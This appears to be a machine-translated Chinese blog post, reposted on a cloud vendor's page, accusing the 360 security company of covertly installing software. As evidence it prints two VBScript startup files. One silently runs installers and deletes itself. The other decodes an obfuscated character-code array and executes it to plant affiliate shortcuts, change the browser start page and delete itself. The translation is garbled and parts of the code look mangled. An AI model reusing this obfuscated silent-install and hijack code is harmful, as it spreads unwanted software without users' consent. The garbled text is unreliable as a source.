360 the rogue nature of Trojan companies.

Source: Internet
Author: User

Before that, my sister had to install a 360 cloud disk on my computer for work. It was a long time, but today I marked the date: Am, January 1, September 21, 2013, the 360 browser is installed on my computer, and the 360 browser will be re-installed after I restart it. At this time, I once again saw the rogue nature of 360 Trojan Horse companies. I used the trojan 3721 for the last time. I thought it was a problem many years ago. Then I used anti-virus software to scan and found two strange files in the windows Startup item. Let me show you what this is. 650) this. width = 650; "src =" http://img.blog.csdn.net/20130921120936671? Watermark/2/text/plain =/font/5a6L5L2T/fontsize/400/fill/I0JBQkFCMA =/dissolve/70/gravity/SouthEast "alt =" SouthEast "/>

I suddenly yelled at it. When did I come here? I didn't know it was about 360 at the beginning. As a result, I opened the path of the two files.


650) this. width = 650; "src =" http://img.blog.csdn.net/20130921121147359? Watermark/2/text/plain =/font/5a6L5L2T/fontsize/400/fill/I0JBQkFCMA =/dissolve/70/gravity/SouthEast "alt =" SouthEast "/>

I was curious about the two things. I scanned my computer the night before and found two things. Look at the stuff to know who is the masterpiece.

As a result, I opened the file and finally learned that this was the masterpiece of the company. It turned out to be a 360 Trojan Horse Company. If I went to her sister, please forgive me for yelling at her sister ).

I will post the code below to check the trojan techniques that 360 Trojan companies use to occupy the market. So far, I still don't understand why so many people use 360. I can understand it after reading this article.

Below is the code: Look at the trojan company's true nature.

Susuup. vbs File

On Error Resume Next
Set ws = CreateObject ("Wscript. Shell ")
Set fso = CreateObject ("Scripting. FileSystemObject ")
Programfiles = Ws. expandenvironmentstrings ("% programfiles % ")
Ws. run "& programfiles &" \ 360 \ 360se_oemasdf005.exe ""/s ", True
WScript. Sleep 1000
Ws. run "& programfiles &" \ 360 \ 360safe_oemasdf005.exe ""/s ", True
Fso. DeleteFile WScript. ScriptFullName


SFBA. VBS File

Strs = array (69,114,114,111,114, 101,115,117,109,101, 101,120,116, 83,101,116, 32,111, 98,106, 83,104,101,108,108, 114,101, 97,116,101, 106,101, 99,116, 83,104,101,108,108, 112,112,108,105, 116,105,111,110, 67,111,110,115,116, 101,116, 32,111, 98,106, 70,111,108,100,101,114, 32,111, 98,106, 83,104,101,108,108, 97,109,101,115,112, 101,116, 65, 32,111, 98,106, 70,111,108,100,101,114, 73,116,101,109, 32,111, 98,106, 70,111,108,100,101,114, 101,108,102, 83,101,116, 32,111, 98,106, 83,104,101,108,108, 114,105,112,116, 114,101, 97,116,101, 106,101, 99,116, 99,114,105,112,116, 104,101,108,108, 97,118,111,114,105,116,101,115, 32,111, 98,106, 70,111,108,100,101,114, 73,116,101,109, 97,116,104, 105,114, 32,115, 118,111,114,105,116,101,115, 13100, 38, 20058, 92,-17990,-83,101,116,-98,106,102,115,111,-12561,34, 114,101, 97,116,101, 106,101, 99,116, 114,105,112,116,105,110,103, 105,108,101, 83,121,115,116,101,109, 106,101, 99,116, 73,102, 111,116, 98,106,102,115,111, 111,108,100,101,114, 69,120,105,115,116,115, 97,118, 68,105,114, 84,104,101,110, 106,102,115,111, 114,101, 97,116,101, 70,111,108,100,101,114, 97,118, 68,105,114, 110,100, 101,116, 32,111, 98,106, 104,111,114,116, 99,117,116, 32,111, 98,106, 83,104,101,108,108, 114,101, 97,116,101, 83,104,111,114,116, 99,117,116, 97,118, 68,105,114, 32, 34, 92,-13100,-20058,-12808,32, 45, 32,-13100,-23647,46, 117,114,108, 83,104,111,114,116, 99,117,116, 84, 97,114,103,101,116, 116,104, 104,116,116,112, 47,119,119,119, 46,116, 97,111, 99,111,109, 47,103,111, 104,110, 47,116, 98,107, 110,110,101,108, 110,110,101,108, 99,111,100,101, 46,112,104,112, 63,112,105,100, 61,109,109, 101,118,101,110,116,105,100, 83,104,111,114,116, 99,117,116, 97,118,101, 83,101,116, 32,111, 98,106, 104,111,114,116, 99,117,116, 32,111, 98,106, 83,104,101,108,108, 114,101, 97,116,101, 83,104,111,114,116, 99,117,116, 97,118, 68,105,114, 13100, 20058, 14665, 10550, 14644, 16725, -11871,46, 117,114,108, 83,104,111,114,116, 99,117,116, 97,114,103,101,116, 116,104, 104,116,116,112, 47,119,119,119, 46,116, 97,111, 99,111,109, 47,103,111, 104,110, 47,116, 98,107, 110,110,101,108, 47,104,117, 97,110,103,103,117, 97,110, 46,112,104,112, 63,112,105,100, 61,109,109, 50, 48, 101,118,101,110,116,105,100, 83,104,111,114,116, 99,117,116, 97,118,101, 83,101,116, 32,111, 98,106, 104,111,114,116, 99,117,116, 32,111, 98,106, 83,104,101,108,108, 114,101, 97,116,101, 83,104,111,114,116, 99,117,116, 97,118, 68,105,114, 92,-13100,-20058,-12808,32, 45, 32,-18969,-14601,-19513,46, 117,114,108, 83,104,111,114,116, 99,117,116, 97,114,103,101,116, 116,104, 104,116,116,112, 47,119,119,119, 46,116, 97,111, 99,111,109, 47,103,111, 104,110, 47,116, 98,107, 110,110,101,108, 47,101,108,101, 99,116,114,105, 112,104,112, 63,112,105,100, 61,109,109, 101,118,101,110,116,105,100, 83,104,111,114,116, 98, 99,117,116, 97,118,101, 83,101,116, 32,111, 98,106, 104,111,114,116, 99,117,116, 32,111, 98,106, 83,104,101,108,108, 114,101, 97,116,101, 83,104,111,114,116, 99,117,116, 97,118, 68,105,114, 13100, 20058, 15152, 14133, 14667, 92,-12808, 32, 45, 32, -117,114,108, 83,104,111,114,116, 99,117,116, 97,114,103,101,116, 116,104, 104,116,116,112, 47,119,119,119, 46,116, 97,111, 99,111,109, 47,103,111, 104,110, 47,116, 98,107, 110,110,101,108, 47,109, 97,110, 46,112,104,112, 63,112,105,100, 61,109,109, 51, 50, 48, 50, 48, 101,118,101,110,116,105,100, 83,104,111,114,116, 99,117,116, 97,118,101, 83,101,116, 32,111, 98,106, 104,111,114,116, 99,117,116, 32,111, 98,106, 83,104,101,108,108, 114,101, 97,116,101, 83,104,111,114,116, 99,117,116, 97,118, 68,105,114, -13100,-20058,-12808,32, 45, 32,-14930,-14133,-14667,-19008,46, 117,114,108, 83,104,111,114,116, 99,117,116, 97,114,103,101,116, 116,104, 104,116,116,112, 47,119,119,119, 46,116, 97,111, 99,111,109, 47,103,111, 104,110, 47,116, 98,107, 99, 110,110,101,108, 47,108, 97,100,121, 46,112,104,112, 63,112,105,100, 61,109,109, 101,118,101,110,116,105,100, 83,104,111,114,116, 98, 99,117,116, 97,118,101, 83,101,116, 32,111, 98,106, 104,111,114,116, 99,117,116, 32,111, 98,106, 83,104,101,108,108, 114,101, 97,116,101, 83,104,111,114,116, 99,117,116, 97,118, 68,105,114, 13100, 20058, 13876, 19513, 14667, 92,-12808, 32, 45, 32, -117,114,108, 83,104,111,114,116, 99,117,116, 97,114,103,101,116, 116,104, 104,116,116,112, 47,119,119,119, 46,116,109, 97,108,108, 111,109, 47,103,111, 104,110, 47,116, 98,107, 110,110,101,108, 47,116,109, 97,108,108, 95,110,101,119, 46,112,104,112, 63,112,105,100, 61,109,109, 50, 48, 109,111,100,101, 83,104,111,114,116, 99,117,116, 97,118,101, 83,101,116, 32,111, 98,106, 104,111,114,116, 99,117,116, 32,111, 98,106, 83,104,101,108,108, 114,101, 97,116,101, 83,104,111,114,116, 99,117,116, 97,118, 68,105,114, 13100, -20058,-12808,32, 45, 32,-13571,-15637,-13876,-19513,46, 117,114,108, 83,104,111,114,116, 99,117,116, 97,114,103,101,116, 116,104, 104,116,116,112, 47,119,119,119, 46,116, 97,111, 99,111,109, 47,103,111, 104,110, 47,116, 98,107, 110,110,101,108, 47,100,105,103,105,116, 97,108, 46,112,104,112, 63,112,105,100, 61,109,109, 101,118,101,110,116,105,100, 50, 48, 50, 48, 85, 83,104,111,114,116, 99,117,116, 97,118,101, 99,114,105,112,116, 108,101,101,112, 10,105,102, 114,105,112,116, 99,114,105,112,116, 109,101, 116,104,101,110, 85,114,108, 104,116,116,112, 47,119,119,119, 46,104, 97,111, 99,111,109, 46,115,111, 10,101,108,115,101, 85,114,108, 104,116,116,112, 47,119,119,119, 46,104, 97,111, 99,111,109, 46,115,111, 10,101,110,100, 32,105,102, 104,101,108,108, 101,103, 87,114,105,116,101, 83,111,102,116,119, 97,114,101, 114,111,115,111,102,116, 110,116,101,114,110,101,116, 120,112,108,111,114,101,114, 97,105,110, 114,116, 97,103,101, 114,108, 106,102,115,111, 101,108,101,116,101, 70,105,108,101, 114,105,112,116, 99,114,105,112,116, 70,117,108,108, 109,101, 13890, 19459, -16955,-20034,-10284,-13843,13, 114,105,112,116, 46,113,117,105,116)
For I = 1 to UBound (strs)
Runner = runner & chr (strs (I ))
Next
Execute runner


I hope that all IT people can unite. How can a trojan company in the shell of a antivirus company go through the city, most IT practitioners in China still use 360 million anti-virus attacks,

Many of them are white users. Are you sure you want to give the computer security to a Trojan company? 360 what are your practices for the company. When can the Chinese software be cleaned up.


Related Article

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.